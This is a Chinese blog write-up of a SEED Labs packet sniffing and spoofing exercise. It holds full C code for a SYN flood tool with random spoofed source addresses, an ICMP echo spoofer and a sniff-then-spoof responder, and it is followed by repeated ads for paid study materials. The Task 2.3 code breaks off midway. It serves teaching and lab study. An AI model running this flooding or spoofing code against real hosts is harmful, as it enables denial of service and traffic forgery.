SeedLab——Packet Sniffing and Spoofing Lab_seed labs – packet sniffing and spoofing lab

#include <arpa/inet.h>
#include <netinet/ip.h>

struct tcphdr
{
unsigned short sport; // 源端口
unsigned short dport; // 目标端口
unsigned int seq; // 序列号
unsigned int ack_seq; // 确认号
unsigned char len; // 首部长度
unsigned char flag; // 标志位
unsigned short win; // 窗口大小
unsigned short checksum; // 校验和
unsigned short urg; // 紧急指针
};

/**
* TCP伪头部包含了一些必要的信息,用于计算TCP校验和。
* 它通常由源IP地址、目的IP地址、保留字段、协议类型(TCP)和数据长度组成。
*/
struct pseudohdr
{
unsigned int saddr;
unsigned int daddr;
char zeros;
char protocol;
unsigned short length;
};

校验和计算

校验和计算的代码如下。将缓冲区中的每个16位字累加到checksum变量中,直到size变为1或0。然后,如果size不为0,说明还剩下一个字节没有累加到校验和中,将其加入checksum中。

接下来,如果checksum发生溢出(即高16位不为零),就将高16位和低16位相加,再加上高16位。这是为了确保校验和在溢出时仍然正确。

最后,将checksum取反并返回。

// 计算校验和
unsigned short
checksum(unsigned short *buffer, unsigned short size)
{
unsigned long checksum = 0;
// 先将缓冲区中的每个16位字累加到 cksum 变量中,直到 size 变为1或0
while (size > 1)
{
checksum += *buffer++;
size -= sizeof(unsigned short);
}
// 如果 size 不为0,说明还剩下一个字节没有累加到校验和中,
if (size)
{
checksum += *(unsigned char *)buffer;
}
// 如果有溢出
while (checksum >> 16)
{
// 则将高16位与低16位相加
checksum = (checksum >> 16) + (checksum & 0xffff);
// 如果高16位非零,再加高16位
checksum += (checksum >> 16);
}

// 取反
return (unsigned short)(~checksum);
}

初始化报头

IP报头的初始化。设置版本、ihl、服务类型等等字段。

// 初始化ip头
void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
unsigned int dstaddr)
{
// 计算 IP 报头的总长度 len,包括 IP 头部和 TCP 头部的长度
int len = sizeof(struct iphdr) + sizeof(struct tcphdr);
// 设置 IP 版本和头部长度字段
ip->version = 4;
ip->ihl = 5;
// 设置服务类型字段 tos,此处设为 0。
ip->tos = 0;
// 设置总长度字段 total_len,使用 htons 函数将长度转换为网络字节序
ip->tot_len = htons(len);
// 设置标识字段
ip->id = 1;
// 设置标志字段 flags,这里设为 0x40,表示不分片
ip->frag_off = htons(0x4000);
// 设置生存时间字段 ttl
ip->ttl = 255;
// 设置协议字段 protocol,这里设为 IPPROTO_TCP
ip->protocol = IPPROTO_TCP;
// 初始化校验和
ip->check = 0;
ip->saddr = srcaddr; // 源IP地址
ip->daddr = dstaddr; // 目标IP地址
}

初始化TCP报头以及伪报头的函数。使用rand生成一个随机数,并将其转换成网络字节序作为源IP,用于隐匿本机IP。TCP的flag字段设为0x02表示设置SYN。

// 初始化tcp头
void init_tcp_header(struct tcphdr *tcp, unsigned short dport)
{
// 生成随机端口
tcp->sport = htons(rand() % 16383 + 49152);
// 目的端口
tcp->dport = htons(dport);
// 随机生成一个序号,转化为网络字节顺序
tcp->seq = htonl(rand() % 90000000 + 2345);
// 将 ack_seq 字段初始化为 0,表示没有确认序列号
tcp->ack_seq = 0;
/**
* 计算 TCP 头部长度,使用 sizeof(struct tcphdr) / 4 计算出以 32 位字为单位的长度,
* 然后将其左移 4 位(相当于乘以 16),最后通过位或操作符 | 与 0 进行合并得到 len 字段
*/
tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
// 将 flag 设置 SYN 控制标志位
tcp->flag = 0x02;
// 设置窗口大小
tcp->win = htons(1024);
// 初始化校验和
tcp->checksum = 0;
// 将紧急指针 urg 初始化为 0,表示没有紧急数据
tcp->urg = 0;
}

// 初始化伪TCP头
void init_pseudo_header(struct pseudohdr *pseudo, unsigned int srcaddr,
unsigned int dstaddr)
{
pseudo->zeros = 0;
pseudo->protocol = IPPROTO_TCP;
pseudo->length = htons(sizeof(struct tcphdr));
pseudo->saddr = srcaddr;
pseudo->daddr = dstaddr;
}

构造SYN包

下面这段代码构造了一个SYN数据包,计算IP校验和 利用TCP伪报头计算TCP校验和。然后将TCP和IP报头拼接成一个数据包。

// 构造syn数据包
int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
unsigned short dport)
{
char buf[100];
int len;
struct iphdr ip; // IP 头部
struct tcphdr tcp; // TCP 头部
struct pseudohdr pseudo; // TCP 伪头部
// 随机生成源地址
unsigned int saddr = rand();
// 长度设置为一个ip报头+tcp报头的长度
len = sizeof(ip) + sizeof(tcp);

// 初始化头部信息
init_ip_header(&ip, saddr, daddr);
init_tcp_header(&tcp, dport);
init_pseudo_header(&pseudo, saddr, daddr);

// 计算IP校验和
ip.check = checksum((u_short *)&ip, sizeof(ip));

bzero(buf, sizeof(buf));
// 复制TCP伪头部
memcpy(buf, &pseudo, sizeof(pseudo));
// 复制TCP头部
memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp));
// 计算TCP校验和
tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));

bzero(packet, pkt_len);
// 填充ip报头
memcpy(packet, &ip, sizeof(ip));
// 填充tcp报头
memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));
// 格式化输出消息
unsigned char *dbytes = (unsigned char *)&daddr;
unsigned char *sbytes = (unsigned char *)&saddr;
printf(“send a syn packet from %u.%u.%u.%u to address %u.%u.%u.%un”, sbytes[0], sbytes[1], sbytes[2], sbytes[3], dbytes[0], dbytes[1], dbytes[2], dbytes[3]);

return len;
}

创建原始套接字

通过调用socket函数创建一个原始套接字。AF_INET参数指定了使用IPv4协议,SOCK_RAW参数指定了套接字类型为原始套接字,IPPROTO_TCP参数指定了传输层协议为TCP。如果socket函数返回值为-1,表示创建套接字失败。

通过setsockopt函数设置套接字选项。setsockopt函数用于设置套接字的各种选项,这里使用IP_HDRINCL选项来告诉操作系统在发送数据时不自动添加IP头部。IP_HDRINCL选项的值为on。当IP_HDRINCL选项的值为非零时,表示应用程序将负责手动构建完整的IP头部,并将其附加到发送的数据中。这对于某些特定的网络编程需求非常有用,例如实现自定义的网络协议或与特定网络设备进行直接通信。通过将选项值设置为on,即使发送的数据中没有包含IP头部,操作系统也会将数据直接发送出去,而不会添加默认的IP头部。这样,应用程序就可以自行构建并添加完整的IP头部。

// 创建原始套接字
int make_raw_socket()
{
int fd;
int on = 1;

// 创建一个原始套接字
fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (fd == -1)
{
return -1;
}

// 设置需要手动构建IP头部
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
{
close(fd);
return -1;
}

return fd;
}

发送伪造数据包

下面的代码设置目标主机的地址族、地址与端口。然后使用sendto函数将我们自己构造的SYN数据包通过创建的原始套接字发往目标地址。

// 发送syn数据包
int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
{
struct sockaddr_in skaddr;
// 数据包
char packet[256];
// 数据包长度
int pkt_len;
// 初始化
bzero(&skaddr, sizeof(skaddr));
// 设置目标地址
skaddr.sin_family = AF_INET;
skaddr.sin_port = htons(port);
skaddr.sin_addr.s_addr = addr;

// 创建一个syn数据包
pkt_len = make_syn_packet(packet, 256, addr, port);
// 发送syn数据包
return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
sizeof(struct sockaddr));
}

完整代码与效果

// 拼接上面的代码即可

int main(int argc, char *argv[])
{
unsigned int addr;
unsigned short port;
int sockfd;

if (argc < 3)
{
fprintf(stderr, “Usage: synflood

n”);
exit(1);
}
// 获取地址和端口
addr = inet_addr(argv[1]);
port = atoi(argv[2]);

if (port < 0 || port > 65535)
{
fprintf(stderr, “Invalid destination port number: %sn”, argv[2]);
exit(1);
}
// 创建原始套接字
sockfd = make_raw_socket();
if (sockfd == -1)
{
fprintf(stderr, “Failed to make raw socketn”);
exit(1);
}
// 一直发送syn数据包
for (int i = 0; i > -1; i++)
{
sleep(1);
if (send_syn_packet(sockfd, addr, port) < 0)
{
fprintf(stderr, “Failed to send syn packetn”);
}
}

close(sockfd);

return 0;
}

首先使用python创建一个HTTP服务器并监听端口8000。

image-20231120225432603

然后使用netstat -ntc监听该端口的连接情况

image-20231120225625034

编译并运行syn泛洪攻击程序并设置目标为10.9.0.5:8000

查看运行结果,收到了大量的SYN建立连接请求。而且源IP也被隐藏了。

image-20231120225804375

Task 2.2B: Spoof an ICMP Echo Request

自己编写一个ping程序

头文件

定义了两个常量 ICMP_ECHOICMP_ECHOREPLY,分别表示 ICMP 的 Echo 请求和 Echo 回复报文的类型值。定义了一个名为 icmpheader 的结构体,用于表示 ICMP 头部。

结构体成员的含义如下:

  • icmp_type:ICMP 消息类型
  • icmp_code:错误码
  • icmp_chksum:ICMP 头部和数据的校验和
  • icmp_id:用于标识请求的 ID
  • icmp_seq:序列号

#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

#define ICMP_ECHO 8
#define ICMP_ECHOREPLY 0

/* ICMP Header */
struct icmpheader
{
unsigned char icmp_type; // ICMP message type
unsigned char icmp_code; // Error code
unsigned short int icmp_chksum; // Checksum for ICMP Header and data
unsigned short int icmp_id; // Used for identifying request
unsigned short int icmp_seq; // Sequence number
};

校验和计算

与Task2.2A相同

/**

  • @brief 计算校验和
  • @param buffer
  • @param size
  • @return unsigned short
    */
    unsigned short checksum(unsigned short *buffer, unsigned short size)
    {
    unsigned long checksum = 0;
    // 先将缓冲区中的每个16位字累加到 cksum 变量中,直到 size 变为1或0
    while (size > 1)
    {
    checksum += *buffer++;
    size -= sizeof(unsigned short);
    }
    // 如果 size 不为0,说明还剩下一个字节没有累加到校验和中,
    if (size)
    {
    checksum += *(unsigned char *)buffer;
    }
    // 如果有溢出
    while (checksum >> 16)
    {
    // 则将高16位与低16位相加
    checksum = (checksum >> 16) + (checksum & 0xffff);
    // 如果高16位非零,再加高16位
    checksum += (checksum >> 16);
    }
    // 取反
    return (unsigned short)(~checksum);
    }
初始化报头

用于初始化 IP 头部和 ICMP 头部的字段。

/**
* @brief 初始化ip
*
* @param ip
* @param srcaddr
* @param dstaddr
*/
void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
unsigned int dstaddr)
{
// 计算 IP 报头的总长度 len,包括 IP 头部和 TCP 头部的长度
int len = sizeof(struct iphdr) + sizeof(struct icmpheader);
// 设置 IP 版本和头部长度字段
ip->version = 4;
ip->ihl = 5;
// 设置服务类型字段 tos,此处设为 0。
ip->tos = 0;
// 设置总长度字段 total_len,使用 htons 函数将长度转换为网络字节序
ip->tot_len = htons(len);
// 设置标识字段
ip->id = 1;
// 设置标志字段 flags,这里设为 0x40,表示不分片
ip->frag_off = htons(0x4000);
// 设置生存时间字段 ttl
ip->ttl = 255;
// 设置协议字段 protocol,这里设为 IPPROTO_ICMP
ip->protocol = IPPROTO_ICMP;
// 初始化校验和
ip->check = 0;
ip->saddr = srcaddr; // 源IP地址
ip->daddr = dstaddr; // 目标IP地址
}

/**
* @brief 初始化icmp数据包
*
* @param icmp
* @param type
* @param code
*/
void init_icmp_header(struct icmpheader *icmp, int type, int code)
{
// 设置ICMP报文的类型
icmp->icmp_type = type;
if (type == ICMP_ECHOREPLY)
{
// 设置ICMP报文的代码
icmp->icmp_code = code;
}
// 计算ICMP报文的校验和
icmp->icmp_chksum = 0;
// 计算ICMP报文的校验和
icmp->icmp_chksum = checksum((unsigned short *)icmp,
sizeof(struct icmpheader));
}

创建原始套接字

与Task2.2A相同

/**
* @brief 创建一个原始套接字
*
* @return int
*/
int make_raw_socket()
{
int fd;
int on = 1;

// 创建一个原始套接字
fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (fd == -1)
{
return -1;
}
// 设置需要手动构建IP头部
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
{
close(fd);
return -1;
}
return fd;
}

发送伪造的Ping Echo

函数接受一个套接字描述符 sock 和一个指向 struct iphdr 结构体的指针 ip 作为参数。函数首先设置目标地址信息 dest_info,其中包括目标地址的协议类型和 IP 地址。最后,函数调用 sendto 函数发送 IP 报文。

/**
* @brief 发送ping报文
*
* @param sock
* @param ip
*/
void send_raw_ip_packet(int sock, struct iphdr *ip)
{
// struct sockaddr_in dest_info;
struct sockaddr_in dest_info;

// 设置IP地址的协议类型
dest_info.sin_family = AF_INET;
// 设置IP地址
dest_info.sin_addr.s_addr = ip->daddr;
// 打印IP地址
printf(“icmp send to %sn”, inet_ntoa(dest_info.sin_addr));
// 发送IP报文
sendto(sock, ip, ntohs(ip->tot_len), 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
}

完整代码与效果

完整代码如下所示

// 拼接上面的代码即可

/******************************************************************
Spoof an ICMP echo request using an arbitrary source IP Address
*******************************************************************/
int main(int argc, char **argv)
{
char buffer[1500];
memset(buffer, 0, 1500);
int sock = make_raw_socket();

/*********************************************************
Step 1: Fill in the ICMP header.
********************************************************/
struct icmpheader *icmp = (struct icmpheader *)(buffer + sizeof(struct iphdr));
init_icmp_header(icmp, ICMP_ECHO, 0);

/*********************************************************
Step 2: Fill in the IP header.
********************************************************/
struct iphdr *ip = (struct iphdr *)buffer;
init_ip_header(ip, inet_addr(“10.0.2.15”),
inet_addr(argv[1]));
// 计算IP校验和
ip->check = checksum((u_short *)ip, sizeof(struct iphdr));
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(argv[1]);

/*********************************************************
Step 3: Finally, send the spoofed packet
********************************************************/
while (1)
{
send_raw_ip_packet(sock, ip);
sleep(1);
}
close(sock);
return 0;
}

使用tcpdump监听地址为10.0.2.15的网络接口的icmp数据包

sudo tcpdump -i enp0s3 -v icmp

然后编译运行伪造ICMP报文的程序并运行

gcc -o ping ping.c # 编译
sudo ./ping 43.138.70.209 # 运行

运行结果如下,通过tcpdump可知能够正常发送ICMP Echo数据包并收到ICMP Reply回复。

image-20231121113305188

Q D

能把IP包的长度设置为任意数值,而不管实际的包的大小吗?

不能,调大调小都是不正确的行为。

  1. IP报头长度比实际长度小:这会导致接收方无法正确解析IP报文。接收方会期望更多的数据作为报文的一部分,但实际上接收到的数据可能不足以构成完整的IP报文。这可能导致接收方丢弃或拒绝该报文,因为它被认为是损坏或不完整的。
  2. IP报头长度比实际长度大:这会导致接收方错误地解析IP报文,从而引起通信问题或数据损坏。比如在IP分片的过程中,操作系统会根据实际数据的长度和MTU的限制进行合理的分片。如果报头长度字段比实际长度大,操作系统可能会错误地将数据包分片。
  • 设置为一个较小的值

修改初始化IP头部的代码如下,将len设置为一个较小的值

image-20231121113659272

然后重新编译运行,发现ICMP Echo报文有去无回,无法收到ICMP Reply报文。

image-20231121113753380

  • 设置为一个较大的值

修改初始化IP头部的代码如下,将len设置为一个较大的值

image-20231121114023127

然后重新编译运行,发现ICMP Echo报文有去无回,也能正常收到ICMP Reply报文。

image-20231121113950658

  • 说明了什么

是不是说明调大不会影响数据包的正常接收,而调小会呢?事实上,调大调小都可能会导致错误通信。当 IP 报头的长度字段比实际长度大时可能导致:

  1. **分片错误:**IP分片的过程中,操作系统会根据实际数据的长度和MTU的限制进行合理的分片。如果报头长度字段比实际长度大,操作系统可能会错误地将数据包分片,导致分片的片段长度不正确。
  2. **重组问题:**接收方在接收分片后的 IP 数据包时,会根据偏移和标识字段对分片进行重组。在这种情况下,接收方可能无法正确地重组分片,导致数据包错误或丢失。
Q E

使用原始套接字时,需要计算IP报文的校验和吗?

可以不需要。

操作系统中的网络协议栈会自动处理IP头部的计算和填充。它会根据IP头部中的各个字段的值,按照IP协议规范中定义的计算方法,自动生成正确的校验和,并将其填充到IP头部的校验和字段中。

修改main函数,将校验和计算过程注释掉,如下所示。

image-20231121115540167

然后重新编译运行,发现能够正常发送ICMP Echo并得到ICMP Reply响应。

现代操作系统的网络协议栈通常会自动计算和填充IP头部的校验和字段。当使用原始套接字发送IP数据包时,操作系统会负责处理IP头部的构建和校验和计算。我们只需要构造IP数据包的内容,将其传递给操作系统,并通过原始套接字发送即可。

Q F

为什么时原始套接字需要root权限?

通过原始套接字,可以直接访问和操作网络层的数据包,包括构造和发送自定义的网络数据包。所有会存在潜在的安全风险,因此必须要root权限。如果没有root权限,在创建原始套接字过程就会失败了。

Task 2.3: Sniff and then Spoof

编写一个程序能够响应ICMP ECHO,伪造ICMP Reply。

头文件

定义了ICMP报头和以太网帧报头

#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <pcap.h>

#define ICMP_ECHO 8
#define ICMP_ECHOREPLY 0

/* Ethernet header */
struct ethheader {
u_char ether_dhost[6];
// 目的mac地址
u_char ether_shost[6];
// 源mac地址
u_short ether_type;
};

/* ICMP Header */
struct icmpheader
{
unsigned char icmp_type; // ICMP message type
unsigned char icmp_code; // Error code
unsigned short int icmp_chksum; // Checksum for ICMP Header and data
unsigned short int icmp_id; // Used for identifying request
unsigned short int icmp_seq; // Sequence number
};

校验和计算

同上Taks2.2B,略

初始化报头

同上Taks2.2B,略

创建原始套接字

同上Taks2.2B,略

发送数据包

同上Taks2.2B,略

回调函数

首先将捕获到的数据包解析为以太网帧,然后进行处理。接下来,使用 make_raw_socket 函数创建了一个原始套接字。然后,它检查以太网帧的类型是否为 IPv4,并将以太网帧转换为 IPv4 头部。

如果协议类型为 ICMP,伪造一个ICMP Echo Reply报文,并使用 send_raw_ip_packet 函数发送伪造的回复报文。

/**
* @brief 回调函数
*
* @param args
* @param header
* @param packet
*/
void handler(u_char *args, const struct pcap_pkthdr *header,
const u_char *packet)
{
printf(“*****************************************************n”);
// 将数据包解析为以太网帧
struct ethheader *eth = (struct ethheader *)packet;
// 创建原始套接字
int sock = make_raw_socket();
// 如果以太网帧类型为IPv4
if (ntohs(eth->ether_type) == 0x0800)
{ // 0x0800 is IP type
// 将以太网帧转换为IPv4
struct iphdr *ip = (struct iphdr *)(packet + sizeof(struct ethheader));

// 获取源地址和目标地址
struct in_addr addr;
struct in_addr daddr;
addr.s_addr = ip->saddr;
daddr.s_addr = ip->daddr;
// 打印源地址和目标地址
printf("From: %s ", inet_ntoa(addr));
printf("To: %s ", inet_ntoa(daddr));
// 判断协议类型
if (ip->protocol == IPPROTO_ICMP)
printf(“protocal: ICMPn”);
else
printf(“protocal: Othersn”);

struct icmpheader *icmp_pkt = (struct icmpheader *)(packet + sizeof(struct ethheader)

  • sizeof(struct iphdr));

if (ip->protocol == IPPROTO_ICMP)
{

char buffer[1500];
memset(buffer, 0, 1500);

/*********************************************************
Step 1: Fill in the ICMP header.
********************************************************/
struct icmpheader *icmp = (struct icmpheader *)(buffer + sizeof(struct iphdr));
icmp->icmp_id = icmp_pkt->icmp_id;
icmp->icmp_seq = icmp_pkt->icmp_seq;
init_icmp_header(icmp, ICMP_ECHOREPLY, 0);
printf(“icmp id: %d, seq: %dn”, ntohs(icmp_pkt->icmp_id), ntohs(icmp_pkt->icmp_seq));

/*********************************************************
Step 2: Fill in the IP header.
********************************************************/
struct iphdr *ipp = (struct iphdr *)buffer;
init_ip_header(ipp, ip->daddr, ip->saddr);
addr.s_addr = ipp->saddr;
daddr.s_addr = ipp->daddr;
printf(“send reply source :%sn”, inet_ntoa(addr));
printf(“send reply dest: %sn”, inet_ntoa(daddr));

/*********************************************************
Step 3: Finally, send the spoofed packet
********************************************************/
send_raw_ip_packet(sock, ipp);
}
}
close(sock);
}

绑定网络接口

首先打开一个与网络接口 "br-0d32c54e0d4e" 相关联的 live pcap 会话。pcap_open_live 函数返回一个 pcap 句柄。如果打开会话成功,会打印相关信息。然后,将过滤表达式 "icmp[icmptype]==icmp-echo" 编译为 BPF(Berkley Packet Filter)伪代码。pcap_compile 函数将过滤表达式编译为过滤程序,并将结果存储在 fp 中。接下来,使用 pcap_setfilter 函数将过滤程序应用于 pcap 句柄,以便仅捕获 ICMP Echo 类型的报文。最后,使用 pcap_loop 函数开始捕获数据包。pcap_loop 函数会循环捕获数据包,并将每个捕获到的数据包传递给 handler 回调函数进行处理。

int main(int argc, char **argv)
{
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
char filter_exp[] = “icmp[icmptype]==icmp-echo”;
bpf_u_int32 net;

// Step 1: Open live pcap session on NIC with name br-0d32c54e0d4e
handle = pcap_open_live(“br-0d32c54e0d4e”, BUFSIZ, 1, 1000, errbuf);
printf(“listening on network card, ret: %p…n”, handle);

// Step 2: Compile filter_exp into BPF psuedo-code
printf(“try to compile filter…n”);
pcap_compile(handle, &fp, filter_exp, 0, net);

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

…(img-YlwpAQHw-1712346232709)]
[外链图片转存中…(img-JxcFnFbB-1712346232710)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-ntY3dRbC-1712346232710)]

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

  • 11
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值